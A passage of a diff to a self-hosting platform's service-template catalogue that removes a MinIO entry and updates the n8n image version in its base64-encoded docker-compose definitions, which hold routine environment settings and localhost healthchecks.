Y2tlbmQsJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0sJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M9JHtNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTOi10cnVlfScKICAgICAgLSAnVklURV9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfScKICAgICAgLSAnVklURV9TSE9SVENPREVfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfQURNSU5fVVJMPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdWSVRFX0JBQ0tFTkRfR1FMX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL2dyYXBocWwnCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9XU19VUkw9d3NzOi8vJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfQVBJX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL3YxJwogICAgICAtICdWSVRFX0FQUF9UT1NfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3Rlcm1zJwogICAgICAtICdWSVRFX0FQUF9QUklWQUNZX1BPTElDWV9MSU5LPWh0dHBzOi8vZG9jcy5ob3Bwc2NvdGNoLmlvL3N1cHBvcnQvcHJpdmFjeScKICAgICAgLSBFTkFCTEVfU1VCUEFUSF9CQVNFRF9BQ0NFU1M9dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgZGItbWlncmF0aW9uOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9jb21wbGV0ZWRfc3VjY2Vzc2Z1bGx5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIGhvcHBzY290Y2gtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBkYi1taWdyYXRpb246CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", "tags": [ "api", "development", @@ -2832,21 +2830,6 @@ "minversion": "0.0.0", "port": "8080" }, - "minio-community-edition": { - "documentation": "https://github.com/coollabsio/minio?tab=readme-ov-file#minio-docker-images?utm_source=coolify.io", - "slogan": "MinIO is a high performance object storage server compatible with Amazon S3 APIs.", - "compose": "c2VydmljZXM6CiAgbWluaW86CiAgICBpbWFnZTogJ2doY3IuaW8vY29vbGxhYnNpby9taW5pbzpSRUxFQVNFLjIwMjUtMTAtMTVUMTctMjktNTVaJwogICAgY29tbWFuZDogJ3NlcnZlciAvZGF0YSAtLWNvbnNvbGUtYWRkcmVzcyAiOjkwMDEiJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gTUlOSU9fU0VSVkVSX1VSTD0kTUlOSU9fU0VSVkVSX1VSTAogICAgICAtIE1JTklPX0JST1dTRVJfUkVESVJFQ1RfVVJMPSRNSU5JT19CUk9XU0VSX1JFRElSRUNUX1VSTAogICAgICAtIE1JTklPX1JPT1RfVVNFUj0kU0VSVklDRV9VU0VSX01JTklPCiAgICAgIC0gTUlOSU9fUk9PVF9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgdm9sdW1lczoKICAgICAgLSAnbWluaW8tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBtYwogICAgICAgIC0gcmVhZHkKICAgICAgICAtIGxvY2FsCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAK", - "tags": [ - "object", - "storage", - "server", - "s3", - "api" - ], - "category": "storage", - "logo": "svgs/minio.svg", - "minversion": "0.0.0" - }, "mixpost": { "documentation": "https://docs.mixpost.app/lite?utm_source=coolify.io", "slogan": "Mixpost is a robust and versatile social media management software, designed to streamline social media operations and enhance content marketing strategies.", @@ -2901,7 +2884,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX0ZRRE5fTjhOXzU2NzgKICAgICAgLSAnTjhOX0VESVRPUl9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdXRUJIT09LX1VSTD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fSE9TVD0ke1NFUlZJQ0VfRlFETl9OOE59JwogICAgICAtICdOOE5fUFJPVE9DT0w9JHtOOE5fUFJPVE9DT0w6LWh0dHBzfScKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtIE9GRkxPQURfTUFOVUFMX0VYRUNVVElPTlNfVE9fV09SS0VSUz10cnVlCiAgICAgIC0gJ044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU9JHtOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFOi10cnVlfScKICAgICAgLSAnTjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUz0ke044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M6LXRydWV9JwogICAgICAtICdOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TPSR7TjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9QUk9YWV9IT1BTPSR7TjhOX1BST1hZX0hPUFM6LTF9JwogICAgICAtICdOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLPSR7TjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSzotZmFsc2V9JwogICAgdm9sdW1lczoKICAgICAgLSAnbjhuLWRhdGE6L2hvbWUvbm9kZS8ubjhuJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo1Njc4LycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIG44bi13b3JrZXI6CiAgICBpbWFnZTogJ244bmlvL244bjoyLjEuNScKICAgIGNvbW1hbmQ6IHdvcmtlcgogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSAnTjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERT0ke044Tl9CTE9DS19FTlZfQUNDRVNTX0lOX05PREU6LXRydWV9JwogICAgICAtICdOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TPSR7TjhOX0dJVF9OT0RFX0RJU0FCTEVfQkFSRV9SRVBPUzotdHJ1ZX0nCiAgICAgIC0gJ044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM9JHtOOE5fRU5GT1JDRV9TRVRUSU5HU19GSUxFX1BFUk1JU1NJT05TOi10cnVlfScKICAgICAgLSAnTjhOX1BST1hZX0hPUFM9JHtOOE5fUFJPWFlfSE9QUzotMX0nCiAgICAgIC0gJ044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s9JHtOOE5fU0tJUF9BVVRIX09OX09BVVRIX0NBTExCQUNLOi1mYWxzZX0nCiAgICB2b2x1bWVzOgogICAgICAtICduOG4tZGF0YTovaG9tZS9ub2RlLy5uOG4nCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2NzgvaGVhbHRoeicKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgbjhuOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9oZWFsdGh5CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICBwb3N0Z3Jlc3FsOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNi1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdwb3N0Z3Jlc3FsLWRhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gUE9TVEdSRVNfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gUE9TVEdSRVNfUEFTU1dPUkQ9JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVMKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbjhufScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAncGdfaXNyZWFkeSAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICByZWRpczoKICAgIGltYWdlOiAncmVkaXM6Ni1hbHBpbmUnCiAgICB2b2x1bWVzOgogICAgICAtICdyZWRpcy1kYXRhOi9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHJlZGlzLWNsaQogICAgICAgIC0gcGluZwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogNXMKICAgICAgcmV0cmllczogMTAKICB0YXNrLXJ1bm5lcnM6CiAgICBpbWFnZTogJ244bmlvL3J1bm5lcnM6Mi4xLjUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBo